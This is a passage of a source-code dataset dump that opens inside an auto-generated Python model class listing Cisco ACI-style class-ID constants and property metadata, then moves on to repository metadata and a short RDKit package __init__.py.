prop._addConstant("vnsFWReq", None, 7540) prop._addConstant("vnsFaultUpdate", None, 4696) prop._addConstant("vnsFltInst", None, 4807) prop._addConstant("vnsFolderInst", None, 4794) prop._addConstant("vnsFuncCfgInst", None, 4803) prop._addConstant("vnsFuncConnInst", None, 4830) prop._addConstant("vnsGFolder", None, 4789) prop._addConstant("vnsGParam", None, 4788) prop._addConstant("vnsGRel", None, 4792) prop._addConstant("vnsGraphIdCntnr", None, 4778) prop._addConstant("vnsGraphInst", None, 4771) prop._addConstant("vnsGrpCfgInst", None, 4802) prop._addConstant("vnsHealthUpdate", None, 4695) prop._addConstant("vnsInBEpPInfo", None, 5537) prop._addConstant("vnsInBHolder", None, 5536) prop._addConstant("vnsInTerm", None, 4655) prop._addConstant("vnsLDevCtx", None, 4666) prop._addConstant("vnsLDevCtxTask", None, 5539) prop._addConstant("vnsLDevHint", None, 4665) prop._addConstant("vnsLDevIf", None, 4869) prop._addConstant("vnsLDevIfLIf", None, 4891) prop._addConstant("vnsLDevInst", None, 4786) prop._addConstant("vnsLDevInstTask", None, 5128) prop._addConstant("vnsLDevOperInfo", None, 4895) prop._addConstant("vnsLDevVip", None, 4894) prop._addConstant("vnsLIf", None, 4892) prop._addConstant("vnsLIfCtx", None, 4662) prop._addConstant("vnsLIfHint", None, 4661) prop._addConstant("vnsLIfHintInst", None, 5559) prop._addConstant("vnsLegVNode", None, 4810) prop._addConstant("vnsMCap", None, 4748) prop._addConstant("vnsMChassis", None, 6161) prop._addConstant("vnsMConn", None, 4756) prop._addConstant("vnsMCred", None, 4744) prop._addConstant("vnsMCredSecret", None, 4745) prop._addConstant("vnsMDev", None, 4742) prop._addConstant("vnsMDevCfg", None, 4751) prop._addConstant("vnsMDevMgr", None, 6164) prop._addConstant("vnsMDfct", None, 4768) prop._addConstant("vnsMDfctCat", None, 4766) prop._addConstant("vnsMDfctCats", None, 4765) prop._addConstant("vnsMDfcts", None, 4767) prop._addConstant("vnsMFeature", None, 5912) prop._addConstant("vnsMFolder", None, 4736) prop._addConstant("vnsMFunc", None, 4753) prop._addConstant("vnsMGrpCfg", None, 4752) prop._addConstant("vnsMIfLbl", None, 4743) prop._addConstant("vnsMImage", None, 4754) prop._addConstant("vnsMParam", None, 4737) prop._addConstant("vnsMRel", None, 4738) prop._addConstant("vnsMgmtLIf", None, 4893) prop._addConstant("vnsNatInst", None, 4938) prop._addConstant("vnsNodeInst", None, 4780) prop._addConstant("vnsNodeInstCons", None, 6879) prop._addConstant("vnsNodeInstDef", None, 4785) prop._addConstant("vnsNodeInstIdCntnr", None, 5328) prop._addConstant("vnsOrchReq", None, 7538) prop._addConstant("vnsOrchResp", None, 7539) prop._addConstant("vnsOutTerm", None, 4656) prop._addConstant("vnsParamInst", None, 4793) prop._addConstant("vnsPrefix", None, 5996) prop._addConstant("vnsREPpInfo", None, 5959) prop._addConstant("vnsREPpInfoTask", None, 5970) prop._addConstant("vnsRLDevInstCons", None, 6892) prop._addConstant("vnsRTInfo", None, 5381) prop._addConstant("vnsRange", None, 4763) prop._addConstant("vnsRelnCons", None, 6118) prop._addConstant("vnsRelnHolder", None, 6115) prop._addConstant("vnsRndrInfo", None, 4692) prop._addConstant("vnsRoutingCfg", None, 5991) prop._addConstant("vnsRsALDevToDevMgr", None, 6167) prop._addConstant("vnsRsALDevToDomP", None, 4875) prop._addConstant("vnsRsALDevToPhysDomP", None, 4877) prop._addConstant("vnsRsALDevToVlanInstP", None, 4881) prop._addConstant("vnsRsALDevToVxlanInstP", None, 4879) prop._addConstant("vnsRsAbsConnectionConns", None, 4690) prop._addConstant("vnsRsAbsFuncProf", None, 6646) prop._addConstant("vnsRsAbsGraph", None, 7451) prop._addConstant("vnsRsBDDefToBD", None, 4822) prop._addConstant("vnsRsBDDefToConn", None, 4826) prop._addConstant("vnsRsBDDefToLIf", None, 4824) prop._addConstant("vnsRsBdConn", None, 4837) prop._addConstant("vnsRsCDevAtt", None, 4864) prop._addConstant("vnsRsCDevOperInfoToCDev", None, 4926) prop._addConstant("vnsRsCDevToChassis", None, 6179) prop._addConstant("vnsRsCDevToCtrlrP", None, 6896) prop._addConstant("vnsRsCIfAtt", None, 4888) prop._addConstant("vnsRsCIfAttN", None, 7468) prop._addConstant("vnsRsCIfPathAtt", None, 4932) prop._addConstant("vnsRsCfgToConn", None, 4859) prop._addConstant("vnsRsCfgToVConn", None, 4861) prop._addConstant("vnsRsChassisEpg", None, 6170) prop._addConstant("vnsRsChassisToMChassis", None, 6172) prop._addConstant("vnsRsClusterPol", None, 6905) prop._addConstant("vnsRsConnToAConn", None, 6984) prop._addConstant("vnsRsConnToAConnInst", None, 6986) prop._addConstant("vnsRsConnToCtxTerm", None, 4681) prop._addConstant("vnsRsConnToCtxTermInst", None, 4833) prop._addConstant("vnsRsConnToFlt", None, 4679) prop._addConstant("vnsRsConnToFltInst", None, 4831) prop._addConstant("vnsRsConnToLIfInst", None, 4835) prop._addConstant("vnsRsConnectionInstConns", None, 4847) prop._addConstant("vnsRsConnector", None, 4734) prop._addConstant("vnsRsDefaultScopeToTerm", None, 4627) prop._addConstant("vnsRsDevEpg", None, 4883) prop._addConstant("vnsRsDevFolderToMFolder", None, 4944) prop._addConstant("vnsRsDevMgrEpg", None, 6175) prop._addConstant("vnsRsDevMgrToMDevMgr", None, 6177) prop._addConstant("vnsRsDevPingToCDev", None, 4949) prop._addConstant("vnsRsDfctToCat", None, 4769) prop._addConstant("vnsRsEPgDefToConn", None, 4815) prop._addConstant("vnsRsEPgDefToLIf", None, 4817) prop._addConstant("vnsRsEPpInfoAtt", None, 4813) prop._addConstant("vnsRsEPpInfoToBD", None, 5488) prop._addConstant("vnsRsEventConn", None, 4839) prop._addConstant("vnsRsFolderInstAtt", None, 4790) prop._addConstant("vnsRsFolderInstToMFolder", None, 4795) prop._addConstant("vnsRsFunction", None, 4904) prop._addConstant("vnsRsGraphInstToLDevCtx", None, 4800) prop._addConstant("vnsRsGraphInstanceMeta", None, 4772) prop._addConstant("vnsRsInterface", None, 4757) prop._addConstant("vnsRsLDevAtt", None, 4900) prop._addConstant("vnsRsLDevCtxToLDev", None, 4667) prop._addConstant("vnsRsLDevCtxToRtrCfg", None, 6649) prop._addConstant("vnsRsLDevDomP", None, 7894) prop._addConstant("vnsRsLDevInst", None, 4776) prop._addConstant("vnsRsLDevInstTask", None, 5265) prop._addConstant("vnsRsLDevOperInfoToALDev", None, 4896) prop._addConstant("vnsRsLIfCtxToBD", None, 5486) prop._addConstant("vnsRsLIfCtxToInstP", None, 6073) prop._addConstant("vnsRsLIfCtxToLIf", None, 4663) prop._addConstant("vnsRsLIfCtxToOut", None, 5989) prop._addConstant("vnsRsLdevIfToLDev", None, 4870) prop._addConstant("vnsRsMChassis", None, 7818) prop._addConstant("vnsRsMChassisToMDev", None, 6162) prop._addConstant("vnsRsMConnAtt", None, 4677) prop._addConstant("vnsRsMConnAttInst", None, 5289) prop._addConstant("vnsRsMDev", None, 6376) prop._addConstant("vnsRsMDevAtt", None, 4873) prop._addConstant("vnsRsMDevMgr", None, 7816) prop._addConstant("vnsRsMDevMgrToMDev", None, 6165) prop._addConstant("vnsRsMetaIf", None, 4886) prop._addConstant("vnsRsMgmtAddr", None, 4935) prop._addConstant("vnsRsNodeInstMeta", None, 4783) prop._addConstant("vnsRsNodeInstToLDevCtx", None, 4781) prop._addConstant("vnsRsNodeToAbsFuncProf", None, 4632) prop._addConstant("vnsRsNodeToLDev", None, 7017) prop._addConstant("vnsRsNodeToMFunc", None, 4630) prop._addConstant("vnsRsPolModAtt", None, 4841) prop._addConstant("vnsRsProfToMFunc", None, 4645) prop._addConstant("vnsRsRLdevInst", None, 5965) prop._addConstant("vnsRsSEPpInfo", None, 5960) prop._addConstant("vnsRsSEPpInfoAtt", None, 5968) prop._addConstant("vnsRsScopeToTerm", None, 4635) prop._addConstant("vnsRsScriptHandlerStateToDomainRef", None, 5322) prop._addConstant("vnsRsSvcMgmtEpg", None, 4728) prop._addConstant("vnsRsTarget", None, 4739) prop._addConstant("vnsRsTenant", None, 6116) prop._addConstant("vnsRsTermInstMeta", None, 4805) prop._addConstant("vnsRsTermToAny", None, 5713) prop._addConstant("vnsRsTermToAnyTask", None, 5715) prop._addConstant("vnsRsTermToEPg", None, 4653) prop._addConstant("vnsRsTermToEPgTask", None, 5130) prop._addConstant("vnsRsUnkMacActModAtt", None, 4843) prop._addConstant("vnsRsVConnToEpgEp", None, 4912) prop._addConstant("vnsRsVConnToEpgSubnet", None, 4910) prop._addConstant("vnsRsVConnToVConn", None, 4914) prop._addConstant("vnsRsVDevDomainRefContToDomainRef", None, 6071) prop._addConstant("vnsRsVDevToDomainRef", None, 5295) prop._addConstant("vnsRsVlanInstP", None, 7303) prop._addConstant("vnsRtALDevToDevMgr", None, 6168) prop._addConstant("vnsRtAbsConnectionConns", None, 4691) prop._addConstant("vnsRtAbsFuncProf", None, 6647) prop._addConstant("vnsRtAbsGraph", None, 7452) prop._addConstant("vnsRtBDDefToConn", None, 4827) prop._addConstant("vnsRtBDDefToLIf", None, 4825) prop._addConstant("vnsRtBdConn", None, 4838) prop._addConstant("vnsRtCDevAtt", None, 4865) prop._addConstant("vnsRtCDevOperInfoToCDev", None, 4927) prop._addConstant("vnsRtCDevToChassis", None, 6180) prop._addConstant("vnsRtCIfAtt", None, 4889) prop._addConstant("vnsRtCIfAttN", None, 7469) prop._addConstant("vnsRtCfgToConn", None, 4860) prop._addConstant("vnsRtCfgToVConn", None, 4862) prop._addConstant("vnsRtChassisToMChassis", None, 6173) prop._addConstant("vnsRtConnToAConn", None, 6985) prop._addConstant("vnsRtConnToAConnInst", None, 6987) prop._addConstant("vnsRtConnToCtxTerm", None, 4682) prop._addConstant("vnsRtConnToCtxTermInst", None, 4834) prop._addConstant("vnsRtConnToLIfInst", None, 4836) prop._addConstant("vnsRtConnectionInstConns", None, 4848) prop._addConstant("vnsRtConnector", None, 4735) prop._addConstant("vnsRtDefaultScopeToTerm", None, 4628) prop._addConstant("vnsRtDevFolderToMFolder", None, 4945) prop._addConstant("vnsRtDevMgrToMDevMgr", None, 6178) prop._addConstant("vnsRtDevPingToCDev", None, 4950) prop._addConstant("vnsRtDfctToCat", None, 4770) prop._addConstant("vnsRtEPgDefToConn", None, 4816) prop._addConstant("vnsRtEPgDefToLIf", None, 4818) prop._addConstant("vnsRtEPpInfoAtt", None, 4814) prop._addConstant("vnsRtEventConn", None, 4840) prop._addConstant("vnsRtFiltGraphAtt", None, 1316) prop._addConstant("vnsRtFolderInstAtt", None, 4791) prop._addConstant("vnsRtFolderInstToMFolder", None, 4796) prop._addConstant("vnsRtFromLDevForExtToEp", None, 4103) prop._addConstant("vnsRtFromLDevForIpToEpg", None, 4080) prop._addConstant("vnsRtFunction", None, 4905) prop._addConstant("vnsRtGraphAtt", None, 1304) prop._addConstant("vnsRtGraphDefToGraph", None, 1407) prop._addConstant("vnsRtGraphInstToLDevCtx", None, 4801) prop._addConstant("vnsRtGraphInstanceMeta", None, 4773) prop._addConstant("vnsRtInTermGraphAtt", None, 1333) prop._addConstant("vnsRtInterface", None, 4758) prop._addConstant("vnsRtLDevAtt", None, 4901) prop._addConstant("vnsRtLDevCtxToLDev", None, 4668) prop._addConstant("vnsRtLDevCtxToRtrCfg", None, 6650) prop._addConstant("vnsRtLDevInst", None, 4777) prop._addConstant("vnsRtLDevOperInfoToALDev", None, 4897) prop._addConstant("vnsRtLIfCtxToLIf", None, 4664) prop._addConstant("vnsRtLdevIfToLDev", None, 4871) prop._addConstant("vnsRtMChassis", None, 7819) prop._addConstant("vnsRtMChassisToMDev", None, 6163) prop._addConstant("vnsRtMConnAtt", None, 4678) prop._addConstant("vnsRtMConnAttInst", None, 5290) prop._addConstant("vnsRtMDev", None, 6377) prop._addConstant("vnsRtMDevAtt", None, 4874) prop._addConstant("vnsRtMDevMgr", None, 7817) prop._addConstant("vnsRtMDevMgrToMDev", None, 6166) prop._addConstant("vnsRtMetaIf", None, 4887) prop._addConstant("vnsRtMgmtAddr", None, 5510) prop._addConstant("vnsRtNodeInstMeta", None, 4784) prop._addConstant("vnsRtNodeInstToLDevCtx", None, 4782) prop._addConstant("vnsRtNodeToAbsFuncProf", None, 4633) prop._addConstant("vnsRtNodeToLDev", None, 7018) prop._addConstant("vnsRtNodeToMFunc", None, 4631) prop._addConstant("vnsRtOutTermGraphAtt", None, 1336) prop._addConstant("vnsRtProfToMFunc", None, 4646) prop._addConstant("vnsRtRLdevInst", None, 5966) prop._addConstant("vnsRtSEPpInfo", None, 5961) prop._addConstant("vnsRtSEPpInfoAtt", None, 5969) prop._addConstant("vnsRtScopeToTerm", None, 4636) prop._addConstant("vnsRtSubjGraphAtt", None, 1323) prop._addConstant("vnsRtTarget", None, 4740) prop._addConstant("vnsRtTermInstMeta", None, 4806) prop._addConstant("vnsRtToLDevForEpToExt", None, 4100) prop._addConstant("vnsRtToLDevForEpgToIp", None, 4077) prop._addConstant("vnsRtVConnToVConn", None, 4915) prop._addConstant("vnsRtVnsCtrlrEp", None, 5285) prop._addConstant("vnsRtVnschassis", None, 7835) prop._addConstant("vnsRtVnsldev", None, 4725) prop._addConstant("vnsRtVnsldevctx", None, 4727) prop._addConstant("vnsRtVnsmdev", None, 4719) prop._addConstant("vnsRtrCfg", None, 6648) prop._addConstant("vnsRtrIdInfo", None, 6651) prop._addConstant("vnsRxPkts", None, 1509) prop._addConstant("vnsRxPkts15min", None, 1513) prop._addConstant("vnsRxPkts1d", None, 1519) prop._addConstant("vnsRxPkts1h", None, 1516) prop._addConstant("vnsRxPkts1mo", None, 1528) prop._addConstant("vnsRxPkts1qtr", None, 1532) prop._addConstant("vnsRxPkts1w", None, 1523) prop._addConstant("vnsRxPkts1year", None, 1536) prop._addConstant("vnsRxPkts5min", None, 1511) prop._addConstant("vnsRxPktsHist", None, 1510) prop._addConstant("vnsRxPktsHist15min", None, 1514) prop._addConstant("vnsRxPktsHist1d", None, 1521) prop._addConstant("vnsRxPktsHist1h", None, 1517) prop._addConstant("vnsRxPktsHist1mo", None, 1530) prop._addConstant("vnsRxPktsHist1qtr", None, 1534) prop._addConstant("vnsRxPktsHist1w", None, 1525) prop._addConstant("vnsRxPktsHist1year", None, 1539) prop._addConstant("vnsRxPktsHist5min", None, 1512) prop._addConstant("vnsSAssertion", None, 4760) prop._addConstant("vnsSDEPpInfo", None, 5958) prop._addConstant("vnsSDEPpInfoTask", None, 5971) prop._addConstant("vnsSHEPgDefCons", None, 6215) prop._addConstant("vnsSHEPpInfo", None, 6131) prop._addConstant("vnsSHEPpInfoTask", None, 6217) prop._addConstant("vnsSHSEPpInfo", None, 6214) prop._addConstant("vnsSHSEPpInfoTask", None, 6218) prop._addConstant("vnsSLDevInst", None, 5967) prop._addConstant("vnsSLDevInstCons", None, 5964) prop._addConstant("vnsSLDevInstConsTask", None, 5972) prop._addConstant("vnsSLDevInstTask", None, 5973) prop._addConstant("vnsScriptHandlerState", None, 4850) prop._addConstant("vnsScriptHandlerUserState", None, 4851) prop._addConstant("vnsScriptRTInfo", None, 4852) prop._addConstant("vnsScriptRTInfoTask", None, 5382) prop._addConstant("vnsStsVNode", None, 4809) prop._addConstant("vnsSvcEpgCont", None, 6840) prop._addConstant("vnsSvcGraphVersion", None, 4622) prop._addConstant("vnsSvcPkgSource", None, 4741) prop._addConstant("vnsSvcRelnCons", None, 7015) prop._addConstant("vnsSvcRelnHolder", None, 6645) prop._addConstant("vnsSvcVip", None, 6836) prop._addConstant("vnsSvcVipCons", None, 6839) prop._addConstant("vnsSvcVipDef", None, 6838) prop._addConstant("vnsSvcVipUpdate", None, 6837) prop._addConstant("vnsSvcVipUpdateTask", None, 6843) prop._addConstant("vnsTermConnInst", None, 4845) prop._addConstant("vnsTermNodeInst", None, 4804) prop._addConstant("vnsTransactionUpdate", None, 5313) prop._addConstant("vnsTxId", None, 4898) prop._addConstant("vnsTxPkts", None, 1543) prop._addConstant("vnsTxPkts15min", None, 1547) prop._addConstant("vnsTxPkts1d", None, 1551) prop._addConstant("vnsTxPkts1h", None, 1549) prop._addConstant("vnsTxPkts1mo", None, 1555) prop._addConstant("vnsTxPkts1qtr", None, 1557) prop._addConstant("vnsTxPkts1w", None, 1553) prop._addConstant("vnsTxPkts1year", None, 1559) prop._addConstant("vnsTxPkts5min", None, 1545) prop._addConstant("vnsTxPktsHist", None, 1544) prop._addConstant("vnsTxPktsHist15min", None, 1548) prop._addConstant("vnsTxPktsHist1d", None, 1552) prop._addConstant("vnsTxPktsHist1h", None, 1550) prop._addConstant("vnsTxPktsHist1mo", None, 1556) prop._addConstant("vnsTxPktsHist1qtr", None, 1558) prop._addConstant("vnsTxPktsHist1w", None, 1554) prop._addConstant("vnsTxPktsHist1year", None, 1560) prop._addConstant("vnsTxPktsHist5min", None, 1546) prop._addConstant("vnsUnit", None, 5509) prop._addConstant("vnsUnitHolder", None, 5508) prop._addConstant("vnsVBgpDevCfg", None, 5994) prop._addConstant("vnsVBgpNetworks", None, 6188) prop._addConstant("vnsVBgpPeer", None, 6187) prop._addConstant("vnsVBgpVEncapAsc", None, 6152) prop._addConstant("vnsVConn", None, 4906) prop._addConstant("vnsVDev", None, 4899) prop._addConstant("vnsVDevDomainRefCont", None, 6070) prop._addConstant("vnsVDevOperInfo", None, 5469) prop._addConstant("vnsVEncap", None, 4940) prop._addConstant("vnsVEncapAsc", None, 4919) prop._addConstant("vnsVEncapRel", None, 4941) prop._addConstant("vnsVEpg", None, 4909) prop._addConstant("vnsVFunc", None, 4903) prop._addConstant("vnsVGrp", None, 4902) prop._addConstant("vnsVGrpUpdate", None, 6065) prop._addConstant("vnsVIf", None, 4916) prop._addConstant("vnsVNodeDef", None, 4811) prop._addConstant("vnsVOspfDevCfg", None, 5993) prop._addConstant("vnsVOspfNetworks", None, 6222) prop._addConstant("vnsVOspfVEncapAsc", None, 6151) prop._addConstant("vpcAppParamInfo", None, 3438) prop._addConstant("vpcAppParams", None, 3437) prop._addConstant("vpcDom", None, 3433) prop._addConstant("vpcEntity", None, 3431) prop._addConstant("vpcIf", None, 3428) prop._addConstant("vpcIfTask", None, 5079) prop._addConstant("vpcInst", None, 3432) prop._addConstant("vpcInstPol", None, 693) prop._addConstant("vpcKAPol", None, 694) prop._addConstant("vpcKeepalive", None, 3436) prop._addConstant("vpcRsVpcConf", None, 3429) prop._addConstant("vpcRsVpcInstPolCons", None, 3434) prop._addConstant("vpcRtVpcInstPol", None, 982) prop._addConstant("vpcRtVpcInstPolCons", None, 3435) prop._addConstant("vsvcAConsLbl", None, 1016) prop._addConstant("vsvcAProvLbl", None, 1014) prop._addConstant("vsvcConsLbl", None, 1017) prop._addConstant("vsvcProvLbl", None, 1015) prop._addConstant("vtapNatEntry", None, 5616) prop._addConstant("vtapNatEntryCont", None, 5615) prop._addConstant("vxlanCktEp", None, 3393) prop._addConstant("vxlanCktEpClearEpLTask", None, 5040) prop._addConstant("vxlanCktEpClearEpRslt", None, 5041) prop._addConstant("vxlanRsVxlanEppAtt", None, 3394) prop._addConstant("vzABrCP", None, 1299) prop._addConstant("vzACollection", None, 1297) prop._addConstant("vzACollectionDef", None, 1373) prop._addConstant("vzACollectionTask", None, 5131) prop._addConstant("vzACompLbl", None, 1338) prop._addConstant("vzACompLblDef", None, 1386) prop._addConstant("vzAContDef", None, 1394) prop._addConstant("vzACtrct", None, 1298) prop._addConstant("vzACtrctEpgDef", None, 1399) prop._addConstant("vzAFiltEntry", None, 1367) prop._addConstant("vzAFilter", None, 1361) prop._addConstant("vzAFilterable", None, 1314) prop._addConstant("vzAFilterableUnit", None, 1317) prop._addConstant("vzAIf", None, 1307) prop._addConstant("vzALbl", None, 1337) prop._addConstant("vzALblDef", None, 1385) prop._addConstant("vzASTerm", None, 1328) prop._addConstant("vzASubj", None, 1318) prop._addConstant("vzATerm", None, 1327) prop._addConstant("vzAToEPg", None, 5637) prop._addConstant("vzAllocateSharedService", None, 5534) prop._addConstant("vzAny", None, 1346) prop._addConstant("vzAnyDef", None, 5642) prop._addConstant("vzAnyDefCont", None, 5641) prop._addConstant("vzAnyREpPCont", None, 5653) prop._addConstant("vzAnyREpPCtrct", None, 5654) prop._addConstant("vzAnyToCollection", None, 1345) prop._addConstant("vzAnyToInterface", None, 7011) prop._addConstant("vzBrCP", None, 1300) prop._addConstant("vzBrCPTask", None, 5132) prop._addConstant("vzCPIf", None, 1308) prop._addConstant("vzCollectionCont", None, 1408) prop._addConstant("vzCollectionContTask", None, 5133) prop._addConstant("vzCollectionDef", None, 1374) prop._addConstant("vzConsCtrctLbl", None, 1344) prop._addConstant("vzConsCtrctLblDef", None, 1393) prop._addConstant("vzConsDef", None, 1401) prop._addConstant("vzConsLbl", None, 1340) prop._addConstant("vzConsLblDef", None, 1389) prop._addConstant("vzConsSubjLbl", None, 1342) prop._addConstant("vzConsSubjLblDef", None, 1391) prop._addConstant("vzCreatedBy", None, 1387) prop._addConstant("vzCtrctEPgCont", None, 1378) prop._addConstant("vzCtrctEPgContTask", None, 5134) prop._addConstant("vzCtrctEntityDef", None, 5496) prop._addConstant("vzDirAssDef", None, 1395) prop._addConstant("vzERFltP", None, 5695) prop._addConstant("vzEntry", None, 1368) prop._addConstant("vzEpgAnyDef", None, 1396) prop._addConstant("vzFilter", None, 1362) prop._addConstant("vzFilterTask", None, 5135) prop._addConstant("vzFltTaskAggr", None, 1403) prop._addConstant("vzFltTaskAggrCont", None, 1402) prop._addConstant("vzFltTaskAggrTask", None, 5136) prop._addConstant("vzFromEPg", None, 1379) prop._addConstant("vzGlobalPcTagRequest", None, 7440) prop._addConstant("vzGlobalPcTagRequestCont", None, 7439) prop._addConstant("vzGlobalPcTagRequestTask", None, 7441) prop._addConstant("vzGraphCont", None, 1404) prop._addConstant("vzGraphDef", None, 1405) prop._addConstant("vzInTerm", None, 1331) prop._addConstant("vzIntDef", None, 1397) prop._addConstant("vzInterfaceToCollection", None, 5555) prop._addConstant("vzLFromEPg", None, 6022) prop._addConstant("vzLToEPg", None, 6021) prop._addConstant("vzOOBBrCP", None, 1305) prop._addConstant("vzOutTerm", None, 1334) prop._addConstant("vzPcTagCons", None, 7911) prop._addConstant("vzProvCtrctLbl", None, 1343) prop._addConstant("vzProvCtrctLblDef", None, 1392) prop._addConstant("vzProvDef", None, 1400) prop._addConstant("vzProvDefTask", None, 5137) prop._addConstant("vzProvLbl", None, 1339) prop._addConstant("vzProvLblDef", None, 1388) prop._addConstant("vzProvSubjLbl", None, 1341) prop._addConstant("vzProvSubjLblDef", None, 1390) prop._addConstant("vzRFltE", None, 1372) prop._addConstant("vzRFltP", None, 1369) prop._addConstant("vzResPcTag", None, 7987) prop._addConstant("vzResPcTagCont", None, 7986) prop._addConstant("vzRsAnyToCons", None, 1349) prop._addConstant("vzRsAnyToConsIf", None, 1351) prop._addConstant("vzRsAnyToCtrct", None, 5655) prop._addConstant("vzRsAnyToProv", None, 1347) prop._addConstant("vzRsDenyRule", None, 1325) prop._addConstant("vzRsERFltPOwner", None, 5696) prop._addConstant("vzRsFiltAtt", None, 1329) prop._addConstant("vzRsFiltGraphAtt", None, 1315) prop._addConstant("vzRsFwdRFltPAtt", None, 1363) prop._addConstant("vzRsGraphAtt", None, 1303) prop._addConstant("vzRsGraphDefToGraph", None, 1406) prop._addConstant("vzRsIf", None, 1309) prop._addConstant("vzRsInTermGraphAtt", None, 1332) prop._addConstant("vzRsOutTermGraphAtt", None, 1335) prop._addConstant("vzRsRFltAtt", None, 1383) prop._addConstant("vzRsRFltPOwner", None, 1370) prop._addConstant("vzRsRevRFltPAtt", None, 1365) prop._addConstant("vzRsSubjFiltAtt", None, 1320) prop._addConstant("vzRsSubjGraphAtt", None, 1322) prop._addConstant("vzRsTabooRFltAtt", None, 1376) prop._addConstant("vzRsToAnyDef", None, 5639) prop._addConstant("vzRtAeToCtrct", None, 5603) prop._addConstant("vzRtAnyToCons", None, 1350) prop._addConstant("vzRtAnyToConsIf", None, 1352) prop._addConstant("vzRtAnyToCtrct", None, 5656) prop._addConstant("vzRtAnyToProv", None, 1348) prop._addConstant("vzRtBdFloodTo", None, 1880) prop._addConstant("vzRtConnToFlt", None, 4680) prop._addConstant("vzRtConnToFltInst", None, 4832) prop._addConstant("vzRtCons", None, 1905) prop._addConstant("vzRtConsIf", None, 1907) prop._addConstant("vzRtCtxMcastTo", None, 2003) prop._addConstant("vzRtDenyRule", None, 1326) prop._addConstant("vzRtERFltPOwner", None, 5697) prop._addConstant("vzRtFiltAtt", None, 1330) prop._addConstant("vzRtFwdRFltPAtt", None, 1364) prop._addConstant("vzRtGraphDef", None, 1991) prop._addConstant("vzRtIf", None, 1310) prop._addConstant("vzRtOoBCons", None, 2185) prop._addConstant("vzRtOoBProv", None, 2193) prop._addConstant("vzRtProtBy", None, 1917) prop._addConstant("vzRtProv", None, 1903) prop._addConstant("vzRtProvDef", None, 1993) prop._addConstant("vzRtRFltAtt", None, 1384) prop._addConstant("vzRtRFltP", None, 7957) prop._addConstant("vzRtRFltPOwner", None, 1371) prop._addConstant("vzRtRevRFltPAtt", None, 1366) prop._addConstant("vzRtRfltpConn", None, 2492) prop._addConstant("vzRtSubjFiltAtt", None, 1321) prop._addConstant("vzRtTabooRFltAtt", None, 1377) prop._addConstant("vzRtTermToAny", None, 5714) prop._addConstant("vzRtTnDenyRule", None, 1977) prop._addConstant("vzRtToAnyDef", None, 5640) prop._addConstant("vzRtToCtrct", None, 1947) prop._addConstant("vzRtToCtrctEPgCont", None, 7591) prop._addConstant("vzRtToEpgConn", None, 2476) prop._addConstant("vzRtToRFltP", None, 7594) prop._addConstant("vzRtToRemoteAnyDef", None, 5647) prop._addConstant("vzRtToRemoteCtrct", None, 5699) prop._addConstant("vzRtToRemoteCtrctEPgCont", None, 5588) prop._addConstant("vzRtToRemoteRFltAtt", None, 2089) prop._addConstant("vzRtToRemoteRFltP", None, 5932) prop._addConstant("vzRtToRemoteTabooDef", None, 2095) prop._addConstant("vzRtToTabooDef", None, 2080) prop._addConstant("vzSubj", None, 1319) prop._addConstant("vzSubjDef", None, 1398) prop._addConstant("vzTSubj", None, 1324) prop._addConstant("vzTaboo", None, 1306) prop._addConstant("vzTabooDef", None, 1375) prop._addConstant("vzTabooTask", None, 5141) prop._addConstant("vzToEPg", None, 1380) prop._addConstant("vzToEPgAny", None, 5638) prop._addConstant("vzToRFltP", None, 5316) prop._addConstant("vzTrCreatedBy", None, 8922) prop._addConstant("vzTrigCollectionCont", None, 5554) meta.props.add("peerClassId", prop) prop = PropMeta("str", "rSz", "rSz", 41, PropCategory.REGULAR) prop.label = "None" prop.isImplicit = True prop.isAdmin = True prop.range = [(1, 1024)] prop.defaultValue = 100 prop.defaultValueStr = "100" meta.props.add("rSz", prop) prop = PropMeta("str", "rTm", "rTm", 42, PropCategory.REGULAR) prop.label = "None" prop.isImplicit = True prop.isAdmin = True meta.props.add("rTm", prop) prop = PropMeta("str", "rn", "rn", 2, PropCategory.RN) prop.label = "None" prop.isRn = True prop.isImplicit = True prop.isAdmin = True prop.isCreateOnly = True meta.props.add("rn", prop) prop = PropMeta("str", "startTs", "startTs", 36, PropCategory.REGULAR) prop.label = "None" prop.isImplicit = True prop.isAdmin = True prop.defaultValue = 0 prop.defaultValueStr = "never" prop._addConstant("never", "never", 0) meta.props.add("startTs", prop) prop = PropMeta("str", "status", "status", 3, PropCategory.STATUS) prop.label = "None" prop.isImplicit = True prop.isAdmin = True prop._addConstant("created", "created", 2) prop._addConstant("deleted", "deleted", 8) prop._addConstant("modified", "modified", 4) meta.props.add("status", prop) prop = PropMeta("str", "type", "type", 16293, PropCategory.REGULAR) prop.label = "None" prop.isConfig = True prop.isAdmin = True prop.defaultValue = 4 prop.defaultValueStr = "locate" prop._addConstant("clear", "clear", 1) prop._addConstant("collect", "collect", 7) prop._addConstant("install", "install", 5) prop._addConstant("interface-in-service", "set-interface-in-service", 8) prop._addConstant("locate", "locate", 4) prop._addConstant("reload", "reload", 3) prop._addConstant("reset", "reset", 2) prop._addConstant("test", "test", 6) meta.props.add("type", prop) prop = PropMeta("str", "uid", "uid", 8, PropCategory.REGULAR) prop.label = "None" prop.isImplicit = True prop.isAdmin = True meta.props.add("uid", prop) def __init__(self, parentMoOrDn, markDirty=True, **creationProps): namingVals = [] Mo.__init__(self, parentMoOrDn, markDirty, *namingVals, **creationProps) # End of package file # ##################################################
e0bb612833f054ba95c0fbc6a3cade75f69976cf
e58fcc1467ad81084b016d2a48d672d75da2c058
/rdkit/rdkit/DataManip/Metric/__init__.py
ecb2ee43043d5acf993e710bd8c5abe9caf7d837
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
ali1810/sol_heroku
294375d70c656452749e959bfb851a50defc0e01
97b548ce7d864e6fed936c53b790c1dc8038cff2
refs/heads/main
2023-08-15T06:18:26.933254
2021-09-14T10:20:19
2021-09-14T10:20:19
405,223,280
0
0
null
null
null
null
UTF-8
Python
false
false
375
py
# $Id$ # # Copyright (C) 2004-2006 Rational Discovery LLC # # @@ All Rights Reserved @@ # This file is part of the RDKit. # The contents are covered by the terms of the BSD license # which is included in the file license.txt, found at the root # of the RDKit source tree. # from rdkit import rdBase from rdkit.DataManip.Metric.rdMetricMatrixCalc import *
235af6e192fec2f1b75f4bd482c67205da7d931b
a67571dc6f4e83e44a90e4802d2f54b22fb21fd2
/tns_glass/locales/templatetags/locales.py
9288e224158f458fa254bdc08382626190183645
[]
no_license
TechnoServe/SMSBookkeeping
1833690e3329967b6ae731aad2ddb6b93655d935
cbc816368ba4980ca6ce87c2bda95b76295009f1
refs/heads/master
2020-08-03T19:12:13.023005
2019-11-05T12:08:45
